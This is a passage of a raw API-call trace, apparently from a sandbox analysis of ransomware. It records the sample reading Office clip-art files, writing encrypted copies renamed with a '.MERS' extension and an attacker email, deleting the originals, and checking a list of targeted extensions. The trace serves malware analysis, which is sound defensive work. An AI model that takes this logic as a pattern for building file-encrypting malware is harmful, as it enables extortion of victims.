GetLastError () returned 0x0 [0270.931] ReadFile (in: hFile=0x3b4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0270.966] WriteFile (in: hFile=0x40c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0270.967] ReadFile (in: hFile=0x3b4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.967] WriteFile (in: hFile=0x40c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.967] SetEndOfFile (hFile=0x40c) returned 1 [0270.967] CloseHandle (hObject=0x40c) returned 1 [0270.968] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.968] SetEndOfFile (hFile=0x3b4) returned 1 [0270.970] CloseHandle (hObject=0x3b4) returned 1 [0270.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.971] lstrlenW (lpString=".doc") returned 4 [0270.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString=".docx") returned 5 [0270.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.971] lstrlenW (lpString=".pdf") returned 4 [0270.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString=".xls") returned 4 [0270.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.971] lstrlenW (lpString=".xlsx") returned 5 [0270.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.971] lstrlenW (lpString=".ppt") returned 4 [0270.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.972] lstrlenW (lpString=".zip") returned 4 [0270.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.972] lstrlenW (lpString=".rar") returned 4 [0270.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString=".bz2") returned 4 [0270.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString=".7z") returned 3 [0270.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.972] lstrlenW (lpString=".dbf") returned 4 [0270.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.972] lstrlenW (lpString=".1cd") returned 4 [0270.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.972] lstrlenW (lpString=".jpg") returned 4 [0270.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.972] lstrlenW (lpString=".doc") returned 4 [0270.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.972] lstrlenW (lpString=".docx") returned 5 [0270.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.973] lstrlenW (lpString=".pdf") returned 4 [0270.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.973] lstrlenW (lpString=".xls") returned 4 [0270.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.973] lstrlenW (lpString=".xlsx") returned 5 [0270.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.973] lstrlenW (lpString=".ppt") returned 4 [0270.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.973] lstrlenW (lpString=".zip") returned 4 [0270.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.973] lstrlenW (lpString=".rar") returned 4 [0270.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.973] lstrlenW (lpString=".bz2") returned 4 [0270.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.973] lstrlenW (lpString=".7z") returned 3 [0270.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.973] lstrlenW (lpString=".dbf") returned 4 [0270.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.973] lstrlenW (lpString=".1cd") returned 4 [0270.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0270.973] lstrlenW (lpString=".jpg") returned 4 [0270.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.974] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.974] lstrlenW (lpString="BD09664_.WMF") returned 12 [0270.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.974] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=7966) returned 1 [0270.974] CloseHandle (hObject=0x3b4) returned 1 [0270.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0270.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.975] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.975] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0270.975] GetLastError () returned 0x0 [0270.975] ReadFile (in: hFile=0x3b4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0271.094] WriteFile (in: hFile=0x40c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0271.095] ReadFile (in: hFile=0x3b4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.095] WriteFile (in: hFile=0x40c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.095] SetEndOfFile (hFile=0x40c) returned 1 [0271.096] CloseHandle (hObject=0x40c) returned 1 [0271.096] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.096] SetEndOfFile (hFile=0x3b4) returned 1 [0271.098] CloseHandle (hObject=0x3b4) returned 1 [0271.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0271.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.100] lstrlenW (lpString=".doc") returned 4 [0271.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString=".docx") returned 5 [0271.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.100] lstrlenW (lpString=".pdf") returned 4 [0271.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString=".xls") returned 4 [0271.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.100] lstrlenW (lpString=".xlsx") returned 5 [0271.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.100] lstrlenW (lpString=".ppt") returned 4 [0271.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.100] lstrlenW (lpString=".zip") returned 4 [0271.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.100] lstrlenW (lpString=".rar") returned 4 [0271.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString=".bz2") returned 4 [0271.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString=".7z") returned 3 [0271.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.100] lstrlenW (lpString=".dbf") returned 4 [0271.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.100] lstrlenW (lpString=".1cd") returned 4 [0271.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString=".jpg") returned 4 [0271.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString=".doc") returned 4 [0271.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString=".docx") returned 5 [0271.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.101] lstrlenW (lpString=".pdf") returned 4 [0271.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString=".xls") returned 4 [0271.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.101] lstrlenW (lpString=".xlsx") returned 5 [0271.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.101] lstrlenW (lpString=".ppt") returned 4 [0271.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString=".zip") returned 4 [0271.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.101] lstrlenW (lpString=".rar") returned 4 [0271.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString=".bz2") returned 4 [0271.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString=".7z") returned 3 [0271.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString=".dbf") returned 4 [0271.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString=".1cd") returned 4 [0271.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0271.101] lstrlenW (lpString=".jpg") returned 4 [0271.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.102] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0271.102] lstrlenW (lpString="BD19563_.GIF") returned 12 [0271.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.114] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=20454) returned 1 [0271.114] CloseHandle (hObject=0x388) returned 1 [0271.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0271.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0271.118] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.118] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.118] GetLastError () returned 0x0 [0271.118] ReadFile (in: hFile=0x3c0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0271.266] WriteFile (in: hFile=0x388, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0271.267] ReadFile (in: hFile=0x3c0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.267] WriteFile (in: hFile=0x388, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.267] SetEndOfFile (hFile=0x388) returned 1 [0271.267] CloseHandle (hObject=0x388) returned 1 [0271.267] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.267] SetEndOfFile (hFile=0x3c0) returned 1 [0271.269] CloseHandle (hObject=0x3c0) returned 1 [0271.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString=".doc") returned 4 [0271.328] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.328] lstrlenW (lpString=".docx") returned 5 [0271.328] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.328] lstrlenW (lpString=".pdf") returned 4 [0271.328] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.328] lstrlenW (lpString=".xls") returned 4 [0271.328] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.328] lstrlenW (lpString=".xlsx") returned 5 [0271.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.328] lstrlenW (lpString=".ppt") returned 4 [0271.328] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString=".zip") returned 4 [0271.328] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.328] lstrlenW (lpString=".rar") returned 4 [0271.328] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.328] lstrlenW (lpString=".bz2") returned 4 [0271.328] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.328] lstrlenW (lpString=".7z") returned 3 [0271.328] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString=".dbf") returned 4 [0271.328] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString=".1cd") returned 4 [0271.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString=".jpg") returned 4 [0271.328] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.328] lstrlenW (lpString=".doc") returned 4 [0271.329] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.329] lstrlenW (lpString=".docx") returned 5 [0271.329] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.329] lstrlenW (lpString=".pdf") returned 4 [0271.329] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.329] lstrlenW (lpString=".xls") returned 4 [0271.329] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.329] lstrlenW (lpString=".xlsx") returned 5 [0271.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.329] lstrlenW (lpString=".ppt") returned 4 [0271.329] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.329] lstrlenW (lpString=".zip") returned 4 [0271.329] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.329] lstrlenW (lpString=".rar") returned 4 [0271.329] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.329] lstrlenW (lpString=".bz2") returned 4 [0271.329] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.329] lstrlenW (lpString=".7z") returned 3 [0271.329] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.329] lstrlenW (lpString=".dbf") returned 4 [0271.329] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.329] lstrlenW (lpString=".1cd") returned 4 [0271.329] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0271.329] lstrlenW (lpString=".jpg") returned 4 [0271.329] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.329] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.329] lstrlenW (lpString="BD19986_.WMF") returned 12 [0271.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.330] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=14486) returned 1 [0271.330] CloseHandle (hObject=0x408) returned 1 [0271.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0271.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.330] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.330] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0271.330] GetLastError () returned 0x0 [0271.331] ReadFile (in: hFile=0x408, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x3896, lpOverlapped=0x0) returned 1 [0271.503] WriteFile (in: hFile=0x3d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0271.504] ReadFile (in: hFile=0x408, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, 